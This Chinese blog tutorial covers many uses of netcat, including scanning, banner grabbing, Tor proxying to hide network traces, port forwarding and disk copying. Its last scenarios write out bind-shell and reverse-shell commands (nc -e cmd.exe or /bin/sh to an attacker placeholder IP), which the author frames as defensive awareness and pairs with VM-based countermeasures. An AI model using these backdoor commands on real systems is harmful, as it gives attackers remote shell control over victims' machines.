DSLBQ'S_BLOG

netcat的 N 种用法

今天这篇文章主要目的是:介绍如何用 netcat 这款小工具进行网络诊断、网络配置、系统管理。另外:本文并不是为了传授入侵技巧,而是为了让那些注重安全性的同学,稍微了解一些入侵者的手法,做到知己知彼。

netcat 是什么

netcat 一般简称为 nc,直译为中文就是网猫,被誉为网络上的瑞士军刀。它诞生于1995年,在网络安全社区的名气很大(就如同 AK47 在军事领域的名气)。长期在安全圈内混的人,应该都知道它。想当年,insecure.org 网站在本世纪初搞过几次年度投票,评选优秀的安全工具。每次投票,netcat 都能排进前几名。

关于 nc 的更多介绍,请参见维基百科[链接]

netcat 能做什么

概述

简而言之,nc 是一个命令行工具,能够很方便、很灵活地地操纵传输层协议(这里所说的传输层协议指的是 OSI 模型中的第4层,主要是 TCP & UDP)。

nc 的变种

由于 nc 是如此牛逼,而它本身又很小(不但软件很小,源代码也很少)。很容易就衍生出一大堆变种。不同的变种,会在原有 nc 的基础上增加一些新功能。本文的内容,主要基于 OpenBSD 社区的变种(OpenBSD netcat或netcat-openbsd)

顾名思义,这是由 OpenBSD 社区重写的 netcat,主要增加了对IPv6、proxy、Unix sockets等功能的支持。另外,在细节上也有若干完善。虽然它出自 OpenBSD 社区,但很多主流 Linux 发行版的官方软件仓库已包含这个变种(比如说:Debian 、Arch 、openSUSE 、Gentoo等),OpenBSD netcat官网的帮助页面[链接],官方代码仓库[链接]

本文后续部分提到的 nc,除非专门注明,否则都是指:netcat 的 OpenBSD 变种。原始的 netcat会称之为原版 nc(traditional netcat)。

nc 命令行简介

要使用 nc,需要在命令行中与它打交道(它所有的功能,都以命令行的方式呈现出来)。

nc 命令行的常规形式

一般来说,nc 的命令行包括如下几个部分:

nc 命令选项 主机 端口
  • 命令选项
    这部分可能包含 0~N 个选项(注:这部分最复杂,下一个小节单独聊)
  • 主机
    这部分可能没有,可能以点分十进制形式表示,也可能以域名形式表示。
  • 端口
    这部分可能没有,可能是单个端口,可能是端口范围。
    对于端口范围,以两个数字分别表示开始和结束,中间以半角减号相连。举例:1-1024

常用的命令行选项

选项是否有选项值说明
hNO输出 nc 的帮助
vNO在网络通讯时,显示详细的输出信息
注:建议新手多用该选项,出错时帮你诊断问题
nNO对命令行中的主机,不进行域名解析
注:如果主机是点分格式的 IP 地址,需要用该选项;
如果主机是域名形式,不能用该选项
pYES指定端口号
lNO开启监听模式,nc 作为服务端
注:如不加该选项,nc 默认作为客户端
uNO使用 UDP 协议
注:如不加该选项,默认是 TCP 协议
wYES设置连接的超时间隔(N 秒)
qYES让 nc 延时(N 秒)再退出
zNO开启zero-I/O 模式
注:该选项仅用于端口扫描,后面会聊到
kNO配合 -l 选项使用,可以重复接受客户端连接。
注:原版 nc的该选项用来开启TCP keepalive
这是原版 nc与OpenBSD 变种之间的差异之一
XYES指定代理的类型(具体用法,后面会聊到)
注:原版 nc没有该选项。这是原版 nc与OpenBSD 变种之间的差异之一
xYES以 IP:port 的格式指定代理的位置。
注:原版 nc没有该选项。这是原版 nc与OpenBSD 变种之间的差异之一
eYES启动某个进程,把该进程的标准输入输出与网络通讯对接
注:通常用该选项开启一个网络后门
OpenBSD 变种基于安全考虑,已去掉该选项,
但还是能用间接的方式达到同样的效果 🙂

汇总上述表格,只是用来速查。在后续章节会具体介绍每个命令选项的详细用法。

场景一:测试某个远程主机的监听端口是否可达

场景说明

经常有这种需求,要判断某个主机的监听端口是否能连上。导致监听端口无法连接,通常有两种原因:

  1. 监听端口没有开启。
  2. 监听端口已开启,但被防火墙阻拦。

对第1个原因,可以直接用 netstat 这个命令查看监听端口是否开启。但对于第2个原因,netstat 就用不上。这时候就可以用 nc 来查看。

方法

用如下命令可以测试某个 IP 地址(x.x.x.x)上的某个监听端口(xx)是否开启。

nc -nv x.x.x.x xx

上述命令用到了如下几个选项:

  • 选项 -v
    打印更详细的输出
  • 选项 -n
    由于测试的是IP 地址,用该选项告诉 nc,无须进行域名(DNS)解析。反之,如果测试的主机是基于域名,就不能用选项 -n

补充说明:超时设置

在测试链接时,如果没有使用 -w 这个超时选项,默认情况下 nc 会等待很久,然后才通知连接失败。如果你所处的网络环境稳定且高速(比如:局域网内),那么可以追加-w 选项,设置一个比较小的超时值。在下面的例子中,超时值设为3秒。

nc -nv -w 3 x.x.x.x xx

补充说明:UDP

通常情况下,要测试的端口都是 TCP 协议的端口,如果你碰到特殊情况,需要测试某个 UDP 的端口是否可达。nc 同样能胜任。只需要追加 -u 选项。

场景二:判断防火墙是否允许 or 禁止某个端口

场景说明

假设正在配置防火墙规则,禁止 TCP 的 8080 端口对外监听。那么如何验证配置是否正确?更进一步说:如果当前没有任何软件开启 8080 这个监听端口,如何判断:该端口号是否会被防火墙阻拦?

为了叙述方便,设想如下场景:
有两台主机:主机C充当客户端,主机S充当服务端。然后要判断主机S上的防火墙是否会拦截其它主机对 8080 TCP 端口的连接。

方法

在主机S上运行 nc,让它在 8080 端口,命令如下:

nc -lv -p 8080
  • 选项 -l
    让 nc 进入监听模式
  • 选项 -p
    具体端口号

然后在主机C上运行 nc,测试主机S上的 8080 端口是否可达(场景一

补充说明:是否省略 -p?

某些 nc 的变种,在开启监听模式时,可以省略 -p,上述命令变为如下:

nc -lv 8080  

但考虑到兼容性,本文总是写上 -p 选项。

补充说明:如何让 nc 的监听端口持续开启

在默认情况下,nc 开启 listen 模式充当服务端,在接受第一次客户端连接之后,就会把监听端口关闭。这是因为当年设计 nc 更多的是作为某种网络诊断/配置工具,并不是真拿它当服务端软件来用的。如果想让 nc 始终监听模式,使之能重复接受客户端发起的连接,可以追加 -k 选项。

补充说明:UDP

上述举例基于 TCP 协议。如果测试 UDP 协议,需要在两端的 nc 都追加 -u 选项。

场景三:用 nc 进行端口扫描

场景说明

场景一里面已经介绍如何测试单个端口是否可达。扩展一下:如果要测试的不止一个端口,而是某个范围的端口。这种行为有个专门的术语叫端口扫描

端口扫描是一把双刃剑,黑帽子用这招进行信息收集,为后续的入侵做铺垫。白帽子用这招来进行渗透测试,以排查自己系统中尚未屏蔽的对外监听端口。

方法

下面这个命令,用来扫描 IP 地址为 x.x.x.x 的主机,扫描的端口范围从 1 到 1024

nc -znv x.x.x.x 1-1024
  • 选项 -z
    开启zero-I/O 模式:nc 只判断某个监听端口是否能连上,连上后不与对端进行数据通讯
  • 选项 -n
    参见场景一说明
  • 选项 -v
    -v 选项前面也聊过,这里要特别强调:对 nc 的其它用法,-v 选项可加可不加,但对于端口扫描,一定要有这个选项,否则看不到扫描结果

补充说明:优化输出

端口扫描时,-v 选项会把成功/失败的结果统统打印出来。而通常关注的都是扫描成功的那些端口。因此,可以用如下命令过滤一下,只打印扫出来的端口:

nc -znv x.x.x.x 1-1024 2>&1 | grep succeeded

由于-v 选项产生的输出位于stderr,上述命令中的 2>&1 用来把stderr合并到stdout(注:这种写法只适用于 POSIX 系统上的 shell),grep 命令用来进行过滤。对于 Windows 系统,默认没有grep 命令,需改用 find 命令过滤。

补充说明:超时设置

如果要扫描的端口范围,跨度比较大,超时值要恰到好处:超时值太大,会浪费时间。超时值太小,可能会遗漏某些端口(端口本身开放,但 nc 还没来得及连上就超时)。

补充说明:并发扫描

如果设置了较小的超时值,依然嫌慢,还可以用并发扫描的方式进一步提升效率,简而言之就是:同时运行多个 nc,分别扫描不同的端口范围。

场景四:用 nc 消除网络层面的踪迹

场景说明

原版 nc不支持代理,而 nc 的OpenBSD 变种支持各种代理。这是两种 nc 之间的关键性差异之一。

方法

为了支持代理,nc 的OpenBSD 变种增加了两个选项:-X 与 -x

选项 -x
该选项表示代理的位置,以 x.x.x.x:xxx 的形式表示

选项 -X
该选项表示代理的类型,含义如下:

选项值含义
5SOCKS5 代理
4SOCKS4 代理
connectCONNECT 型的 HTTP 代理

首先,确保本机已经运行了 Tor,然后测试一个域名,如果 nc 的输出中包含 succeeded,说明nc 已经能通过 Tor 联网。

nc -X 5 -x 127.0.0.1:9050 -q 3 -v www.google.com 443 
Connection to www.google.com 443 port [tcp/https] succeeded! 

(注:如果你用的是Tor Browser,上述命令中的-x 选项值改为 127.0.0.1:9150

补充说明:延时退出

在上述举例中,用到了一个新的 -q 选项。主要考虑到:用 nc 连接公网服务器时,网络传输质量会受到诸多因素的影响,最好加 -q 选项,让 nc延时3秒退出,实际操作要根据个人网络环境进行调整。

补充说明:Tor 线路

由于 Tor 的线路会经历三级跳三重套,而且其线路每隔10分钟就会随机变换一次。这种方式让网络层面的逆向追溯变得非常困难。

补充说明:域名解析

当用了nc over Tor之后,一旦 nc 的网络行为需要解析域名,会自动通过 Tor 的 SOCKS 代理进行远程域名解析。也就是说,DNS 协议相关数据流也经过 Tor,这样就可以消除网络层面的踪迹。

补充说明:设置别名(alias)

如果觉得每次都输入上述两个代理选项太麻烦,可以为 nc 设置一个别名

alias nc-tor='nc -X 5 -x 127.0.0.1:9050'  

设置好之后,只要用 nc-tor 就可以自动追加代理选项。如果想让别名永久生效,要把上述命令加入到当前使用的 shell 的启动文件中。再次说明,裸 Tor与Tor Browser的监听端口有差异。上述命令的 9050 是用于裸 Tor。

场景五:用 nc 探测服务器类型和软件版本

场景说明

黑帽子有一个很重要的步骤叫做信息收集,对目标了解得越多,得手的机会就越大。下面以 SSH Server(sshd)举例。

方法

远程管理服务器,大概最常用的就是 SSH 这种方式,如果某个服务器运行了SSH 服务端,那么用如下命令可以看出:该服务器的操作系统类型,以及 SSH server 的版本:

echo "EXIT" | nc-tor -vq 5 -n 服务器IP 22 
echo "EXIT" | nc-tor -vq 5 服务器域名 22
  • 选项 -v
    nc 会先显示端口已经连上或者端口连不上
  • 选项 -q
    参见场景四的延时退出
  • nc-tor 别名
    参见场景四的设置别名

前面聊了这么久,一直没有给出实例。现在来一个真实的例子:用 nc 探测 Github 的 SSH 端口(注:在如下终端窗口中,头一行是命令,后面两行是输出)

echo "EXIT" | nc-tor -vq 5 ssh.github.com 22 
Connection to ssh.github.com 22 port [tcp/ssh] succeeded! 
SSH-2.0-babeld-dae25663

补充说明:echo 命令

上述用到的 echo 命令是 POSIX 下常用的命令。Windows 的命令行中也有同名的命令,但功能/用法有差异。

补充说明:批处理 & 自动化

攻击者甚至可以写一个脚本,批量探测某个 IP 地址段的 22 端口,然后把找到的服务器信息保存在某个文件中。另外,有的系统管理员会把 sshd 的监听端口从 22 改为其它数值,想要迷惑攻击者。但这么做效果不大:可以先进行端口扫描,拿到所有已开启的 TCP 监听端口,然后利用上述方法,对这些 TCP 端口进行自动化探测,从而判断出哪个端口是 SSH Server。

补充说明:防范措施

本章节以SSH Server举例来说明入侵者如何探测服务端的软件版本。除了SSH Server,很多其它的服务端软件,也存在类似的信息暴露。一个谨慎的系统管理员,应该通过定制,消除或伪造这些信息,从而增加入侵者的攻击成本。

场景六:用 nc 实现无痕 Web 访问

场景说明

有时候想要看某个 Web 服务器上的某个页面的内容,但是又不希望在上面留下任何痕迹。这里所说的痕迹既包括网络层面,也包括操作系统&软件层面滴。
要解决网络层面,主要靠Tor or I2P,来隐藏真实的公网 IP,具体参见场景四。要解决操作系统&软件层面会麻烦一些。如果用传统的浏览器(Chrome、Firefox、IE、Edge等)访问了某个页面。即使禁用了 JS,伪造了浏览器的User Agent。但如果 Web 服务器想要收集你的系统指纹,还是有若干办法:可以通过浏览器的一些差异,获得某些信息量(浏览器指纹)。比如:

  • HTTP 协议的Header字段可能会包含某些信息
  • 不同内核的浏览器,对页面的渲染会有差异。对页面中的外部元素(图片、JS、CSS等)的加载效率也会有所差异
  • 即使同一款浏览器,在不同系统平台上,依然会表现出某些差异
  • ……

此时,nc 再度派上用场:可以使用 nc 直接抓取页面保存到本机,相当于:让 nc 在裸 TCP层面执行 HTTP 协议的命令。在整个过程中,浏览器完全不参与其中。既不会暴露浏览器的信息,也不会暴露操作系统的信息。

方法

先执行下列两个命令的其中一个(具体看用IP还是域名)

echo -e "GET / HTTP/1.0\r\n\r\n" | nc-tor -vq 5 服务器域名 端口 
echo -e "GET / HTTP/1.0\r\n\r\n" | nc-tor -vq 5 -n 服务器IP 端口

nc 会把这个页面抓下来,打印到命令行终端。这时候看到的是HTML 源代码。上述命令访问的是 Web Server 的根路径。如果你想要看其它路径的页面(比如说:/index.html),稍微修改成如下:

echo -e "GET /index.html HTTP/1.0\r\n\r\n" | nc-tor -vq 5 服务器域名 端口 
echo -e "GET /index.html HTTP/1.0\r\n\r\n" | nc-tor -vq 5 -n 服务器IP 端口

由于正常人类是无法直接阅读HTML 源代码,为了更加人性化,可以把 nc 抓下来的 HTML 源代码,(在命令行中用大于号)重定向到某个 HTML 文件,然后就可以用本机的浏览器阅读。

补充说明:HTTP 协议

协议版本
有些同学会奇怪:为何上述的示例用的是 1.0 而不是 1.1?主要是为了偷懒,按照 RFC 的规范,HTTP 1.1 的 Request 中,Host 是必须的字段;而在 HTTP 1.0 中,这个字段是可选的。 🙂

HTTPS
nc 的OpenBSD 变种还不支持 HTTPS(SSL/TLS)。在本文末尾介绍的其它变种里面,ncat & socat 已经完全支持 SSL/TLS 协议。由于本文主要介绍 nc 的OpenBSD 变种,关于 ncat & socat 的话题,就不展开了。

补充说明:这种方式的缺点

关于页面的外部元素
这种方式nc 只抓取页面本身,不包括页面中的外部元素(图片、JS、CSS等)。
这种方式拿到的页面,阅读的时候会显得比较丑陋(就凑合着看吧)

关于JS 引擎
由于此方式只是在 TCP 层面模拟了简单的 HTTP 协议。所以只能得到静态 HTML。如果某个页面的内容是依靠前端 JS动态生成( AJAX 风格),那么这种方式则无效(因为 nc没有JS 引擎)。

场景七:基于 nc 的端口转发(Port Forward)

原理

用 nc 进行端口转发,需要运行两个nc 进程,一个充当服务端,另一个是客户端,然后用管道让把两个进程的标准输入输出交叉配对。所谓的交叉配对就是:每一个 nc 进程的标准输出都对接到另一个 nc 进程的标准输入。如此一来,就可以完美地建立双向通讯

大部分 shell 都支持管道符(竖线符号 |),可以把某个进程的标准输出,重定向给另一个进程的标准输入。但是 shell 的管道符只能做到单向配对,无法做到交叉配对。所以还需要再借助另一个管道——也就是命名管道。

命名管道(named pipe)是一种进程间通讯(IPC)的机制。顾名思义,命名管道就是有名号的,而 shell 中使用的那个管道符,其本质上是匿名管道(无名管道)。

主流的操作系统(Windows、Linux、UNIX)都支持命名管道这种机制,本文只以 Linux 举例。

方法

步骤1:创建命名管道
用下面这个简单的命令创建一个命名管道,其名称叫做 nc_pipe(也可以用别的名称)。

mkfifo nc_pipe

步骤2:同时启动两个 nc

nc -l -p 1234 < nc_pipe | nc 127.0.0.1 5678 > nc_pipe  

运行上述命令之后,就可以把本机的 1235 端口重定向到本机的 5678 端口,前一个 nc 充当服务端,后一个 nc 充当客户端。命令行中的管道符使得服务端nc的输出绑定到客户端nc的输入。然后再用 nc_pipe 这个命名管道做中转,使得客户端nc的输出绑定到服务端nc的输入。从而完成了交叉配对。

补充说明:如何让 nc 的监听端口持续开启

参见场景二的持续开启

场景八:基于 nc 的代理转发(Proxy Forward)

场景说明

提醒一下:不要混淆本章节与场景四
场景四聊的是nc 自己通过代理进行网络访问(nc over Tor),本章节聊的是nc 帮助其它网络软件走代理进行网络访问(XX软件 over nc over Tor)。

比如说,SSH 是很常用的一个安全工具:用来远程操作服务器。在某些特殊场合,想要通过 SSH 登录某个服务器,但是又不希望服务器记录其真实的公网 IP,说到这里,可能猜到让 SSH 走 Tor 代理(SSH over Tor)。但可惜的是:(POSIX 系统中常用的)OpenSSH 客户端不支持SOCKS 代理,而 Tor 默认提供的是 SOCKS 代理。这时候,netcat 就派上用场啦——用 nc 把 SSH 的数据流转发到 Tor 的 SOCKS 代理。

方法

用如下命令测试连接是否成功。

ssh -o "ProxyCommand=nc -X 5 -x 代理地址:端口号 %h %p" -T ssh.xxxxxx.com
  1. 假如Tor 客户端运行在本机,那么上述命令中的代理地址就替换为 127.0.0.1
    否则就替换为:运行 Tor 客户端的主机的 IP 地址。
  2. 如果Tor 客户端用的是 Tor Browser,端口号必须用 9150
    如果你用的是 Tor 的其它软件包(比如:Tor Expert Bundle),则端口号使用 9050

上述测试命令如果最终显示 Permession denied 就说明已经通过 SOCKS 代理连接到 xxxxxx 了(也就是说,你的 SSH 已经能够走 SOCKS 代理联网了)。如果没有显示这个信息,而是显示了其它其它信息,你再用如下命令重新试一次

ssh -o "ProxyCommand=nc -X 5 -x 代理地址:端口号 %h %p" -Tv ssh.xxxxxx.com

这次加了一个 v 选项,可以打印出详细的诊断信息。

为了方便起见,同样可以把 SSH 的这个 ProxyCommand 命令行选项加入到 SSH 的配置文件。如此一来,以后每次你要连接 Website 的服务器,都会自动走 Tor 提供的 SOCKS 代理。

补充说明:SSH over Tor与Tor over SSH

即使懂技术的同学,有时候也会混淆这两者,说明一下:

  • Tor over SSH
    这种方式相当于 SSH 作为 Tor 的前置代理。假设你有一个 SSH server,就可以让你的 Tor 客户端通过这个 SSH server 联网。
  • SSH over Tor
    这是让 SSH 通过 Tor 网络连接到 SSH 服务器,从而隐藏 SSH 客户端的真实 IP。在这种情况下,SSH 服务器看到的访问者 IP 是Tor 出口节点的公网 IP。

场景九:用 nc 传输文件

场景说明

有时候,你需要在两台电脑之间传输文件。也可以用 nc 搞定。某些人会问:为啥不用 Windows 的共享目录?反驳的理由很多:

  1. 只能在 Windows 上用
  2. 为了使用共享目录,需要启用(Enable)系统中的好几个 service,这会增加你系统的攻击面
  3. 启用的 service 越多,占用的内容也越多,影响性能
  4. ……

还有些同学会问:为啥不用 FTP、SSH(或诸如此类的东东)?其实:

  1. 如果只是临时传一个文件,还要额外再去装某某软件的客户端/服务端,岂不是很蛋疼?
  2. 任何服务端软件,(从某种意义上说)都是在增加攻击面。

方法

为了叙述方便,假设你有两台主机 A 与 B,你要把 A 主机上的文件 file1 传输到 B 主机上,保存为 file2,你先在接收端(B 主机)运行如下命令(其中的 xxx 是端口号)

nc -l -p xxx > file2

然后在发送端(A 主机)运行如下命令

nc x.x.x.x xxx < file1

第二条命令中的 xxx 是端口号,要与第一条命令中的端口号相同;第二条命令中的 x.x.x.x 是主机 B的 IP 地址。

补充说明:nc 的性能优势

用 nc 传输文件,相当于是:直接在裸 TCP层面传输。你可以通俗理解为:没有应用层。如果你传输的文件超级大或者文件数量超级多,用 nc 传输文件的性能优势会很明显(相比FTP、SSH、共享目录…而言)。

场景十:用 nc 远程备份整个磁盘

使用场景

当学会用 nc 传输文件,还可以用 nc 复制整个硬盘。无论是对系统管理员,还是对数据取证人员,这招都很有用。

说明一下,磁盘复制不同于在两块磁盘之间复制文件。两者之间有很多差别,至少包括:  

  • 性能差异:如果源盘上有非常多的小文件,在两块磁盘之间复制文件就会非常慢
  • 完整性差异:磁盘复制可以确保两块盘的内容是完全一致滴。而如果你仅仅在两块磁盘之间复制文件,很多信息都会损失掉

一般来说,系统管理员更看重第1个差异(性能),而数据取证人员更看重第2个差异(完整性)。

原理

为了传输整个磁盘,你需要用到 dd 命令。dd 源自 UNIX,后来也移植到 Linux 和 Windows。关于 dd 命令的更详细介绍,可以参见维基百科[链接]或Gnu 官网[链接]

通过 dd 命令,你可以把整个硬盘(或者硬盘上的某个物理分区、逻辑分区)dump 成一个文件。在本章节,由于最终目的是要跨主机备份磁盘,所以并不需要真的把 dd 命令的输出保存成文件,而是把 dd 的输出通过管道符(|)重定向给本机的 nc,然后让本机的 nc 发送到另一台主机的 nc。

方法

由于操作物理磁盘会涉及到操作系统的差异,下面以 Linux 举例:

假设要把 A 主机 /dev/sda 磁盘的原始数据整个复制到 B 主机的 /dev/sdb 磁盘。

先在接收端B 主机)运行如下命令(其中的 xxx 是端口号):

nc -l -p xxx | dd of=/dev/sdb

然后在发送端(A 主机)运行如下命令:

dd if=/dev/sda | nc x.x.x.x xxx  

第二条命令中的 xxx 是端口号,要与第一条命令中的端口号相同;第二条命令中的 x.x.x.x 是主机 B的 IP 地址。

补充说明:nc 的性能优势

如今的存储设备越来越大。磁盘或者分区动不动都是几百个 GB,这时候 nc 的性能优势就能体现出来。

场景十一:用 nc 开启被动型连接

做这方面的介绍,并不是为了传授入侵技巧。而是为了让那些注重安全性的同学了解相关细节,做到知己知彼。

使用场景

假设1:你使用的浏览器存在某个安全漏洞,并且该漏洞会让攻击者获得执行代码的机会。
假设2:你在某个公共场合使用某个 wifi 热点上网。遗憾的是,这个热点是攻击者设置的陷阱。
假设3:设置该陷阱的攻击者,正好也知道:如何利用上述漏洞。

当这三个假设都成立,攻击者就可以获得在你本机执行代码的机会。这时候攻击者可以下载一个 nc 到你本机,然后用 nc 开启一个被动型连接。所谓的被动型连接就是指:nc开启对外监听端口。

在该场景中,因为攻击者与你处于同一个局域网,攻击者自然能从自己的机器访问到你本机的 nc 后门。

原理

为了让连接能工作,通常会使用 nc 的 -e 选项,该选项的选项值是一个可执行文件的路径。设置了该选项之后,当处于监听状态的 nc 接受到某个连接,会启动选项值对应的可执行文件并得到某个进程,nc 会把该进程的标准输入输出与网络通讯对接。

为了让这个连接权限足够大,攻击者通常会让 nc 去启动一个shell 进程。对 Windows 系统而言,就是 cmd.exe;对 POSIX 系统(Linux or UNIX)而言,就是 /bin/sh

在这种情况下(nc 挂载 shell),攻击者远程连入 nc 的端口,就可以直接在这个 shell 上进行各种操作,其效果类似于 SSH 或(老式的)telnet。

方法

步骤1
如果受害者是 Windows 系统,只须如下命令就可以开启一个后门(其中的 xxx 是端口号)

nc.exe -l -p xxx -e cmd.exe  

如果受害者是 POSIX 系统(Linux or UNIX),则用如下命令:

nc -l -p xxx -e /bin/sh

步骤2
连接创建好之后,攻击者在自己机器上也运行 nc(客户端 nc),然后连接到作为服务端 nc。一旦连上之后,攻击者就可以在自己的 nc 上看到对方(受害者机器)的 shell 提示符。

补充说明:-e 选项

据说是考虑到 -e 选项太过危险,nc 的 OpenBSD 变种(在多年前)已经移除了该选项。但其实,还是可以用间接的方式达到同样的效果(具体如何做,就不透露了)。另外原版 nc依然有这个选项;nc 的很多其它变种,也依然有这个选项。

不够靠谱的防范措施

在这个场景中,大伙儿可能会想到三个值得改进之处:

  1. 浏览器的漏洞
  2. 使用公共 wifi 热点的习惯
  3. 防火墙的设置

对第1点其实是无解的,因为任何人都无法确保浏览器是零漏洞。
对第2点要看每个人的具体情况而定。对有些人而言,用公共热点上网属于刚需,那就没办法了。
对第3点防火墙设置,似乎是比较通用的解决之道。对大部分人而言,桌面 PC 根本就不必开启对外监听端口。因此,你可以配置操作系统自带防火墙,禁止所有的对外监听端口。但是,操作系统自带的防火墙,本身也运行在操作系统之内。如果你是以管理员身份遭遇入侵,入侵者在进行代码执行的时候,就已经具有了管理员权限。在这个权限下,入侵者完全有可能搞定防火墙。方法有很多种:

比如说:把用作后门的端口号,悄悄加入到防火墙的白名单中。
再比如说:直接把防火墙的过滤模块干掉。
更牛逼的入侵者,甚至可以在网卡驱动上做文章:因为网卡驱动位于防火墙的过滤模块之下,比防火墙更底层。

靠谱的防范措施:NAT 模式的虚拟机(Guest OS)

步骤如下:

  1. 当然先要安装虚拟化软件(VBox、VMware …)
  2. 安装一个虚拟的操作系统(Guest OS)
  3. 虚拟系统的网卡设置为NAT模式

完成上述步骤后,你就可以在这个虚拟系统中上网。NAT 的好处在于单向可见。也就是说,Guest OS 可以访问到物理系统(Host OS)外部的网络环境;但外部网络环境只能看到 Host OS,看不到 Guest OS。

在这种配置下,就算某个入侵者完全控制了你的 Guest OS,他/她也没办法在 Guest OS 中搭建被动型连接。换句话说,即使入侵者运行了这种后门,(但由于 NAT 的缘故)后门无法接受外部网络的连接,这个后门就失去意义。

补充说明:NAT 模式如何搭配系统防火墙?

上述NAT设置与系统防火墙并不矛盾,也就是说,即使用了该设置,物理系统(Host OS)还是要配置系统防火墙,并禁止所有的对外监听端口。

场景十二:用 nc 开启主动型连接

场景说明

继续用前一个章节的场景,差别在于采纳了前一章节的措施:在某个 NAT 模式的虚拟机(Gest OS)中上网,以对付被动连接型的 nc 后门。

可惜的是即便如此,入侵者在利用漏洞并获得执行代码的机会之后,还是有办法用 nc 在你的电脑上搞一个网络后门。虽然你用了 NAT 模式的虚拟机(Guest OS),但入侵者可以用 nc 创建一个主动连接型的网络后门(有时也称作反向连接后门)。

原理

原理其实与场景十一很类似,唯一的差别在于:把客户端与服务端对调。也就是说攻击者手头的 nc 充当服务端,而受害者机器上的 nc 充当客户端。此时,受害者本机的 nc无须开启监听端口,不受防火墙的影响,也不受NAT 的影响。

方法

步骤1
既然 nc 的服务端与客户端对调,因此攻击者要先在自己机器上运行服务端 nc,命令如下(其中的 xxx 是端口号)。当然啦,攻击者自己电脑的防火墙需要允许 xxx 端口号对外监听:

nc -lk -p xxx

步骤2
如果受害者是 Windows 系统,只须如下命令就可以开启一个后门:

nc.exe -e cmd.exe x.x.x.x xxx  

如果受害者是 POSIX 系统,则用如下命令:

nc -e /bin/sh x.x.x.x xxx  

(在上述两个命令中, xxx 是步骤1用到的端口号,x.x.x.x 是攻击者的 IP 地址)

比NAT 模式更保险的是:隔离模式的虚拟机

所谓的隔离模式,指的是Host Only 模式或类似的模式(比如:Internal 模式)。

有必要提醒一下:
隔离的虚拟机可以增加入侵者的攻击难度,但不能做到 100% 防范。只要能在某个隔离虚拟机中上网,那么那些足够高级的木马,就有可能在隔离虚拟机中找到对外连接的通道。从而实现一个主动连接型的后门。

那么该怎么办?  
在安全方面,虚拟机有两个显著好处:网络隔离性只是其中之一,另一个就是快照。
如果你对安全性的要求非常高,就要学会:

  1. 用快照功能建立安全基线
    所谓的安全基线就是:在确保系统纯洁的时候,先做一个快照
  2. 养成定期回退快照的好习惯
    这样就算你中了木马,只要一回退到安全基线,系统就重新变得纯洁

主动连接型后门的危险性之处

简单对比一下后门的两种连接方式。

可用性
如果用被动型后门入侵桌面 PC,考虑到绝大部分桌面 PC 都处于内网(其网卡并未分配公网 IP)。对这种场景,攻击者需要与受害者在同一个局域网,才能与后门建立通讯。相比之下,主动型后门就没有这种弊端。

隐蔽性
被动型后门需要显式开启监听端口,很容易引起用户的怀疑,或引起杀毒软件的注意。相比之下,主动型后门就没有这个问题。

netcat 的其它变种

本文开头部分已经介绍了原版 nc以及OpenBSD 变种。在结尾部分,简单聊聊其它几个变种。

GNU netcat[官网]

从名称可以猜出:这是 GNU 社区对原版 nc的重写,以符合 GPL 许可协议。按照官网的说法,GNU netcat100% 兼容原版 nc的 1.10 版本。(注:1.10 版本是原版 nc用得最广的版本)

◇ncat[官网]

这是 nmap 社区重写的 nc,它的口号是:Ncat – Netcat for the 21st Century,与OpenBSD 变种类似,它也增加了代理的支持。相比OpenBSD 变种,它的主要亮点是:完全支持 SSL/TLS。由于它源自 nmap 社区,已经被包含在 nmap 软件包中(大多数 Linux & BSD 发行版的官方仓库都有 nmap)。

socat

在所有的变种里面,这款可能是功能最强的,但使用方法也有很大的不同(更复杂了)。感觉像是另一个全新的软件。很多主流的 Linux 发行版已经包含它,也完全支持 SSL/TLS。

Cryptcat

一看名称就能猜到:这是加密的网猫,由于大部分网猫都是直接在裸 TCP之上传输数据。如果传输的内容本身是明文,会遭遇网络嗅探的风险。

这款变种在传输过程中用 twofish 算法加密,以规避嗅探。

sbd

光看这3字母的名称,你可能不知道这款变种的特色。但如果俺告诉你:sbd是Secure BackDoor的缩写,你多半就猜到其特色了。它的加密采用AES-128-CBC + HMAC-SHA1。

netrw

这是专门针对文件传输功能进行强化和简化的变种。

简化方面
它分成两个命令:netread 和 netwrite,分别对应发送和接收。(相对原版 nc)省了几个命令选项。
强化方面
它会对传输过程进行散列校验,以防止传输的数据被篡改。

评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注